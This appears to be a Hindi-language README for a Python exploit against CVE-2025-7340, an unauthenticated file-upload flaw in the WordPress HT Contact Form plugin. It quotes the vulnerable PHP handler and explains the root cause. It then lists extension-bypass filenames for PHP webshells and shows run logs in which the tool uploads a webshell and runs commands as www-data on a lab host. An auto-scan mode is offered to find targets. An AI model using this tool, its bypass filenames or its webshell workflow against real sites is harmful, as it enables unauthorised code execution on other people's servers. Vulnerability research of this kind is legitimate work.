
Python exploit for CVE-2025-7340, WordPress HT Contact Form widget में एक अनधिकृत फ़ाइल अपलोड कमजोरी, जो वेबशेल तैनाती के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाती है।
भेद्यता स्थान: ht-contactform/admin/Includes/Services/FileManager.php
मुख्य फ़ंक्शन: temp_file_upload()
temp_file_upload फ़ंक्शन#63 पंक्ति
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// फ़ाइल मान्यता
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// फ़ाइल प्रक्रिया करें
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// फ़ाइल को अस्थायी निर्देशिका में ले जाएँ
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
AJAX प्रसंस्करणफ़ाइल स्थान: ht-contactform/admin/Includes/Ajax.php:
#46-47 पंक्ति
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
समस्या: wp_ajax_nopriv_ हुक का उपयोग किया गया है, जिसका अर्थ है कि अप्रमाणित उपयोगकर्ता भी फ़ाइल अपलोड सुविधा तक पहुँच सकते हैं।
मूल कारण विश्लेषण:
FileManager.php के validate फ़ंक्शन में केवल PHP अपलोड त्रुटियों की जाँच की जाती है, फ़ाइल प्रकार, विस्तार या MIME प्रकार की कोई जाँच नहीं है।Fields.php में अनुमत फ़ाइलों को परिभाषित करता है, लेकिन इसका उपयोग केवल फ्रंटएंड सत्यापन (accept विशेषता) के लिए फ़ॉर्म रेंडरिंग के दौरान किया जाता है, सर्वर साइड पर इन कॉन्फ़िगरेशनों का सत्यापन के लिए बिल्कुल उपयोग नहीं किया जाता है।sanitize_file_name() मुख्य रूप से विशेष वर्णों को संभालता है, खतरनाक एक्सटेंशन को नहीं रोकता; हमलावर अभी भी .php, .php3, .phtml जैसी फ़ाइलें अपलोड कर सकते हैं।// Ajax.php पंक्ति 46-47
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
समस्या विश्लेषण:
सीधा हमला: हमलावर सीधे /wp-admin/admin-ajax.php पर POST अनुरोध भेज सकता है, जिसमें action ht_form_temp_file_upload हो
फ्रंटएंड सत्यापन को बायपास करना: फ्रंटएंड accept विशेषता द्वारा फ़ाइल प्रकार को प्रतिबंधित करता है, लेकिन हमलावर आसानी से इसे बायपास कर सकता है
फ़ाइल निष्पादन: अपलोड की गई PHP फ़ाइल को वेब सर्वर द्वारा निष्पादित किया जा सकता है, जिससे रिमोट कोड निष्पादन हो सकता है
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
ध्यान दें, URL तभी कार्य करेगा जब वह प्लगइन द्वारा प्रकाशित कोई पोस्ट हो, इसलिए मैंने एक स्क्रिप्ट किड फ़ंक्शन 02 जोड़ा है
01[एकल परीक्षण] उदाहरण:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
प्रयास शुरू कर रहे हैं.......
लक्ष्य पृष्ठ प्राप्त करें...
पैरामीटर निकालें...
निकाला गया Nonce: b05a39ff55
AJAX एंडपॉइंट: http://192.168.162.131:8081/wp-admin/admin-ajax.php
फ़ॉर्म आईडी: 6
webshell उत्पन्न करें...
shell अपलोड करें, कृपया प्रतीक्षा करें...
[+] भेद्यता का सफलतापूर्वक दोहन!
Webshell पता: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] शेल इंटरैक्टिव मोड में प्रवेश करते हैं, बाहर निकलने के लिए 'exit' दर्ज करें!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
इंटरैक्टिव मोड से बाहर निकलें
02[मूल निर्देशिका परीक्षण] उदाहरण:
python RCE.py -r http://192.168.162.131:8081
[*] कृपया दिनांक दर्ज करें (डिफ़ॉल्ट 20250804):
[*] उपयोग की गई दिनांक: 20250804
[*] दिनांक स्कैन कर रहे हैं: 2025-08-04
[*] स्कैन पता: http://192.168.162.131:8081/2025/08/04/
[*] लेख 2 मिला: Test.0.1
[*] लेख 3 मिला: 8 月 4, 2025
[*] लेख 6 मिला: 世界,您好!
[*] लेख 7 मिला: 8 月 4, 2025
[*] भेद्यता दोहन शुरू कर रहे हैं...
[*] उपयोग कर रहे हैं: http://192.168.162.131:8081/2025/08/04/test-0-1/
प्रयास शुरू कर रहे हैं.......
लक्ष्य पृष्ठ प्राप्त करें...
पैरामीटर निकालें...
निकाला गया Nonce: b05a39ff55
AJAX एंडपॉइंट: http://192.168.162.131:8081/wp-admin/admin-ajax.php
फ़ॉर्म आईडी: 6
webshell उत्पन्न करें...
shell अपलोड करें, कृपया प्रतीक्षा करें...
[+] भेद्यता का सफलतापूर्वक दोहन!
Webshell पता: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] शेल इंटरैक्टिव मोड में प्रवेश करते हैं, बाहर निकलने के लिए 'exit' दर्ज करें!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
इंटरैक्टिव मोड से बाहर निकलें